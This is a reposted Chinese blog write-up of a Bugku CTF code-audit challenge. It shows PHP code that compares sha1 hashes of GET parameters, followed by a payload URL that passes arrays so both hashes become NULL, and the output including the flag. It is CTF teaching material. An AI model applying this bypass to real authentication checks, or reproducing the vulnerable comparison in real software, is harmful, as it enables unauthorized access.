码迷,mamicode.com
首页 > 其他好文 > 详细

代码审计-sha()函数比较绕过

时间:2019-08-25 14:30:58      阅读:295      评论:0      收藏:0      [点我收藏+]

标签:echo   审计   比较   bsp   null   you   class   sha   iss   

<?php
$flag = "flag";
if (isset($_GET[‘name‘]) and isset($_GET[‘password‘]))
{
var_dump($_GET[‘name‘]);
echo "
";
var_dump($_GET[‘password‘]);
var_dump(sha1($_GET[‘name‘]));
var_dump(sha1($_GET[‘password‘]));
if ($_GET[‘name‘] == $_GET[‘password‘])
echo

Your password can not be your name!
;
else if (sha1($_GET[‘name‘]) === sha1($_GET[‘password‘]))
die(‘Flag: ‘.$flag);
else
echo

Invalid password.
;
}
else
echo

Login first!
;
?>

sha跟md5函数一样,可以用数组绕过

payload

http://123.206.87.240:9009/7.php?name[]=1&password[]=2

得到

 

array(1) { [0]=> string(1) "1" }
array(1) { [0]=> string(1) "2" } NULL NULL Flag: flag{bugku--daimasj-a2}

代码审计-sha()函数比较绕过

标签:echo   审计   比较   bsp   null   you   class   sha   iss   

原文地址:https://www.cnblogs.com/gaonuoqi/p/11407477.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!